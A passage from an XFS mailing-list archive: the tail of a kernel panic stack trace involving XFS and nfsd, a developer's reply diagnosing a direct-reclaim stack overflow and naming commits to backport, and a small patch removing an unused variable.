xfs_read_agf+0x5a/0x149 [xfs] [93662.197322] [] ? xfs_alloc_read_agf+0x22/0xa4 [xfs] [93662.197374] [] ? xfs_alloc_fix_freelist+0x11b/0x3dd [xfs] [93662.197427] [] ? xfs_alloc_vextent+0x10e/0x3e3 [xfs] [93662.197479] [] ? xfs_bmap_btalloc+0x54f/0x732 [xfs] [93662.197537] [] ? xfs_bmapi+0x876/0x104d [xfs] [93662.197594] [] ? xfs_iext_get_ext+0x34/0x5a [xfs] [93662.197652] [] ? xfs_iomap_write_allocate+0x245/0x387 [xfs] [93662.197725] [] ? xfs_iomap+0x213/0x285 [xfs] [93662.197763] [] ? swiotlb_map_sg_attrs+0xeb/0x107 [93662.197817] [] ? xfs_map_blocks+0x25/0x2c [xfs] [93662.197855] [] ? radix_tree_delete+0xbf/0x1ba [93662.197908] [] ? xfs_page_state_convert+0x299/0x565 [xfs] [93662.197950] [] ? dm_table_any_congested+0x66/0xe6 [dm_mod] [93662.198010] [] ? xfs_vm_releasepage+0x98/0xa5 [xfs] [93662.198065] [] ? xfs_vm_writepage+0xb0/0xe6 [xfs] [93662.198105] [] ? shrink_page_list+0x375/0x623 [93662.198140] [] ? shrink_list+0x45c/0x767 [93662.198192] [] ? xfs_btree_lookup_get_block+0x9d/0xac [xfs] [93662.198262] [] ? xfs_bmbt_init_key_from_rec+0xc/0x14 [xfs] [93662.198314] [] ? xfs_lookup_get_search_key+0x29/0x3c [xfs] [93662.198349] [] ? shrink_zone+0x280/0x342 [93662.198381] [] ? try_to_free_pages+0x232/0x38e [93662.198413] [] ? isolate_pages_global+0x0/0x20f [93662.198450] [] ? __alloc_pages_nodemask+0x3cd/0x5f5 [93662.198486] [] ? new_slab+0x42/0x1ca [93662.198516] [] ? __slab_alloc+0x1f0/0x39b [93662.198560] [] ? kmem_zone_alloc+0x5e/0xa4 [xfs] [93662.198605] [] ? kmem_zone_alloc+0x5e/0xa4 [xfs] [93662.198637] [] ? kmem_cache_alloc+0x7f/0xf0 [93662.198697] [] ? kmem_zone_alloc+0x5e/0xa4 [xfs] [93662.198746] [] ? kmem_zone_zalloc+0xe/0x2e [xfs] [93662.198792] [] ? _xfs_trans_alloc+0x29/0x64 [xfs] [93662.198842] [] ? xfs_trans_alloc+0x95/0xa1 [xfs] [93662.198888] [] ? xfs_trans_unlocked_item+0x20/0x3a [xfs] [93662.198931] [] ? xfs_qm_dqattach+0x32/0x3b [xfs] [93662.198978] [] ? xfs_iomap_write_allocate+0xb3/0x387 [xfs] [93662.199031] [] ? xfs_iomap+0x213/0x285 [xfs] [93662.199076] [] ? xfs_map_blocks+0x25/0x2c [xfs] [93662.199122] [] ? xfs_iomap+0x270/0x285 [xfs] [93662.199169] [] ? xfs_page_state_convert+0x299/0x565 [xfs] [93662.199218] [] ? xfs_vm_writepage+0xb0/0xe6 [xfs] [93662.199251] [] ? __writepage+0xa/0x25 [93662.199283] [] ? write_cache_pages+0x20b/0x327 [93662.199314] [] ? __writepage+0x0/0x25 [93662.199347] [] ? __filemap_fdatawrite_range+0x4b/0x54 [93662.199381] [] ? filemap_write_and_wait_range+0x26/0x52 [93662.199426] [] ? xfs_write+0x63b/0x6ea [xfs] [93662.199458] [] ? down_read+0x9/0x19 [93662.199503] [] ? xfs_iget+0x401/0x45b [xfs] [93662.199550] [] ? xfs_file_aio_write+0x0/0x5d [xfs] [93662.199584] [] ? do_sync_readv_writev+0xc0/0x107 [93662.199630] [] ? xfs_trans_unlocked_item+0x20/0x3a [xfs] [93662.199666] [] ? autoremove_wake_function+0x0/0x2e [93662.199698] [] ? rw_copy_check_uvector+0x6d/0xe4 [93662.199733] [] ? do_readv_writev+0xb2/0x115 [93662.199788] [] ? nfsd_setuser_and_check_port+0x62/0x7c [nfsd] [93662.199843] [] ? nfsd_vfs_write+0x11a/0x329 [nfsd] [93662.199880] [] ? nfsd_open+0x137/0x16c [nfsd] [93662.199915] [] ? nfsd_write+0xc5/0xe2 [nfsd] [93662.199952] [] ? nfsd3_proc_write+0xc7/0xe5 [nfsd] [93662.199987] [] ? nfsd_dispatch+0xdd/0x1b9 [nfsd] [93662.200027] [] ? svc_process+0x403/0x627 [sunrpc] [93662.200067] [] ? nfsd+0x0/0x12e [nfsd] [93662.200100] [] ? nfsd+0xe5/0x12e [nfsd] [93662.200130] [] ? kthread+0x79/0x81 [93662.200162] [] ? child_rip+0xa/0x20 [93662.200191] [] ? kthread+0x0/0x81 [93662.200220] [] ? child_rip+0x0/0x20 [93662.200256] BUG: unable to handle kernel paging request at 000000006eab11a0 [93662.200294] IP: [] update_curr+0xf9/0x147 [93662.200331] PGD 0 [93662.200355] Thread overran stack, or stack corrupted [93662.200383] Oops: 0000 [#1] SMP [93662.200414] last sysfs file: /sys/devices/pci0000:00/0000:00:09.0/0000:07:00.1/irq [93662.200461] CPU 1 [93662.200486] Modules linked in: ioatdma netconsole configfs cpufreq_userspace cpufreq_stats cpufreq_powersave cpufreq_conservative 8021q garp stp nfsd nfs lockd fscache nfs_acl auth_rpcgss sunrpc ext3 jbd mbcache fuse dm_round_robin dm_multipath scsi_dh autofs4 ohci_hcd sd_mod crc_t10dif usbhid hid snd_pcm_oss snd_mixer_oss snd_pcm snd_timer snd ipmi_si ixgbe soundcore psmouse ipmi_msghandler ehci_hcd dca snd_page_alloc uhci_hcd hpilo evdev serio_raw container mdio bnx2 usbcore pcspkr nls_base power_meter qla2xxx scsi_transport_fc scsi_tgt processor button xfs exportfs dm_mirror dm_region_hash dm_log dm_snapshot dm_mod [93662.201420] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [93662.201888] [] ? __down_common+0x8d/0xde [93662.208496] [] ? down+0x27/0x38 [93662.208539] [] ? _xfs_buf_find+0x162/0x1e0 [xfs] [93662.208584] [] ? xfs_buf_get_flags+0x5a/0x13b [xfs] [93662.208629] [] ? xfs_buf_read_flags+0x12/0x7a [xfs] [93662.208675] [] ? xfs_trans_read_buf+0x189/0x27e [xfs] [93662.208720] [] ? xfs_read_agf+0x5a/0x149 [xfs] [93662.208762] [] ? xfs_alloc_read_agf+0x22/0xa4 [xfs] [93662.208806] [] ? xfs_alloc_fix_freelist+0x11b/0x3dd [xfs] [93662.208851] [] ? xfs_alloc_vextent+0x10e/0x3e3 [xfs] [93662.208896] [] ? xfs_bmap_btalloc+0x54f/0x732 [xfs] [93662.208945] [] ? xfs_bmapi+0x876/0x104d [xfs] [93662.208995] [] ? xfs_iext_get_ext+0x34/0x5a [xfs] [93662.209042] [] ? xfs_iomap_write_allocate+0x245/0x387 [xfs] [93662.209108] [] ? xfs_iomap+0x213/0x285 [xfs] [93662.209424] [] ? shrink_page_list+0x375/0x623 [93662.209757] [] ? __alloc_pages_nodemask+0x3cd/0x5f5 [93662.210078] [] ? _xfs_trans_alloc+0x29/0x64 [xfs] [93662.210575] [] ? write_cache_pages+0x20b/0x327 [93662.211100] [] ? nfsd_vfs_write+0x11a/0x329 [nfsd] 48 [93662.211857] CR2: 000000006eab11a0 [93662.212189] Kernel panic - not syncing: Fatal exception in interrupt [93662.212497] [] ? release_console_sem+0x17e/0x1af [93662.212818] [] ? child_rip+0x0/0x20 [93662.213328] [] ? dm_unplug_all+0x3b/0x4c [dm_mod] [93662.213841] [] ? xfs_read_agf+0x5a/0x149 [xfs] [93662.214384] [] ? xfs_iomap_write_allocate+0x245/0x387 [xfs] [93662.214831] [] ? dm_table_any_congested+0x66/0xe6 [dm_mod] [93662.215447] [] ? shrink_zone+0x280/0x342 [93662.215703] [] ? new_slab+0x42/0x1ca [93662.216138] [] ? kmem_zone_zalloc+0xe/0x2e [xfs] [93662.216448] [] ? xfs_qm_dqattach+0x32/0x3b [xfs] [93662.217403] [] ? down_read+0x9/0x19 [93662.217698] [] ? xfs_trans_unlocked_item+0x20/0x3a [xfs] [93662.218208] [] ? nfsd_write+0xc5/0xe2 [nfsd] [93662.218482] [] ? nfsd+0x0/0x12e [nfsd] [93662.218732] [] ? kthread+0x0/0x81 [93662.225424] [] ? child_rip+0x0/0x20 From BATV+8f8b69da4726ad372cd2+2776+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 31 09:34:00 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2VEXxEb150125 for ; Thu, 31 Mar 2011 09:34:00 -0500 X-ASG-Debug-ID: 1301582231-59a301520000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id EA5EF131EEC1 for ; Thu, 31 Mar 2011 07:37:11 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id M0VhVxTfnH9mTmcz for ; Thu, 31 Mar 2011 07:37:11 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q5Izm-0004I6-FS; Thu, 31 Mar 2011 14:37:10 +0000 Date: Thu, 31 Mar 2011 10:37:10 -0400 From: Christoph Hellwig To: simon@thekelleys.org.uk Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: XFS stack overflow? Subject: Re: XFS stack overflow? Message-ID: <20110331143710.GA12821@infradead.org> References: <1301581135.748149.10230.nullmailer@thekelleys.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301581135.748149.10230.nullmailer@thekelleys.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301582231 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 31, 2011 at 03:18:55PM +0100, simon@thekelleys.org.uk wrote: > x86_64 > Storage is fibrechannel attached and the filesystem is hosted on a > LVM block device that concatentates four partitions, so the block access > is going via a stack of LVM, multipath and Q-logic drivers. > Network is Intel 10G ethernet (gxbe driver) > Kernel is 2.6.32 with Debian patches. (both kernels) Yes, this very much looks like a stack overflow caused by direct reclaim from a context with a lot of stack usage into a filesystem (XFS in this case) with a deep storage stack underneath. The fix for this is to disable direct reclaim, which the VM maintainers refuse. We finally gave in and added a hack similar to the other modern filesystems to prevent this from inside XFS. Try backporting commits: "xfs: skip writeback from reclaim context" and "xfs: allow writeback from kswapd" from current mainline to avoid these kinds of issues. From namei.unix@gmail.com Thu Mar 31 23:24:27 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.8 required=5.0 tests=BAYES_00,FREEMAIL_FROM, MIME_8BIT_HEADER,T_DKIM_INVALID,URIBL_BLACK,URIBL_DBL_SPAM autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p314OQFo196476 for ; Thu, 31 Mar 2011 23:24:26 -0500 X-ASG-Debug-ID: 1301632058-5d2802ae0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-iy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 009E4144257B; Thu, 31 Mar 2011 21:27:38 -0700 (PDT) Received: from mail-iy0-f181.google.com (mail-iy0-f181.google.com [209.85.210.181]) by cuda.sgi.com with ESMTP id SBMhsA4hOWR5eg2v; Thu, 31 Mar 2011 21:27:38 -0700 (PDT) Received: by iyb26 with SMTP id 26so3265247iyb.26 for ; Thu, 31 Mar 2011 21:27:38 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:from:to:cc:subject:date:message-id:x-mailer :mime-version:content-type:content-transfer-encoding; bh=gLyg94dxJRuuS1bAqAQk5SQJEYWz+5k6swhVuxzTkKc=; b=c+P7kZecm1iy3VSp7Iqo4K0rdbYzTfxm/SKyXnee050+qi8BBy/vO45g6eTwcL0tC3 p3Xqf2I0+1SWspfOISAUyN8UGc+0h8qxEhY0WI+RAp2Dk16JpH243EMuFLTMv3y9pKiX 1fyc93SARTr5Ex7O0dRMx0JfmBaVJB0x2kL10= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=from:to:cc:subject:date:message-id:x-mailer:mime-version :content-type:content-transfer-encoding; b=upan5xjwe8iNtX99w/4aSNEGusStjinawaHKPdWFKkSQy6X6XDjqO61rGcQ28w8JMh kpjO86K85tyPYsus6XVOPDxYiKhR0zTa9Gj4kOMomD8SvJcNmt84JwbXrnmWlgAPcR3T h6g3hL+VVcjAbfFQZTe4noOUauva+gylJ18i0= Received: by 10.43.44.137 with SMTP id ug9mr4684360icb.175.1301632058239; Thu, 31 Mar 2011 21:27:38 -0700 (PDT) Received: from localhost.localdomain ([114.251.86.0]) by mx.google.com with ESMTPS id 8sm1179300iba.38.2011.03.31.21.27.35 (version=TLSv1/SSLv3 cipher=OTHER); Thu, 31 Mar 2011 21:27:37 -0700 (PDT) From: namei.unix@gmail.com To: Alex Elder Cc: Liu Yuan , xfs-masters@oss.sgi.com (supporter:XFS FILESYSTEM), xfs@oss.sgi.com (open list:XFS FILESYSTEM), linux-kernel@vger.kernel.org (open list) X-ASG-Orig-Subj: [PATCH] =?UTF-8?q?xfs:=20Remove=20unused=20variable=20=E2=80=98bdi=E2=80=99?= Subject: [PATCH] =?UTF-8?q?xfs:=20Remove=20unused=20variable=20=E2=80=98bdi=E2=80=99?= Date: Fri, 1 Apr 2011 12:27:30 +0800 Message-Id: <1301632050-12674-1-git-send-email-namei.unix@gmail.com> X-Mailer: git-send-email 1.7.1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-iy0-f181.google.com[209.85.210.181] X-Barracuda-Start-Time: 1301632059 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0010 1.0000 -2.0146 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.01 X-Barracuda-Spam-Status: No, SCORE=-2.01 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59565 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Liu Yuan When building kernel, I met a warning: ... fs/xfs/linux-2.6/xfs_buf.c:660: warning: unused variable =E2=80=98bdi=E2=80= =99 ... So just remove it. Signed-off-by: Liu Yuan --- fs/xfs/linux-2.6/xfs_buf.c | 2 -- 1 files changed, 0 insertions(+), 2 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index 596bb2c..d917146 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -657,8 +657,6 @@ xfs_buf_readahead( xfs_off_t ioff, size_t isize) { - struct backing_dev_info *bdi; - if (bdi_read_congested(target->bt_bdi)) return; =20 --=20 1.7.1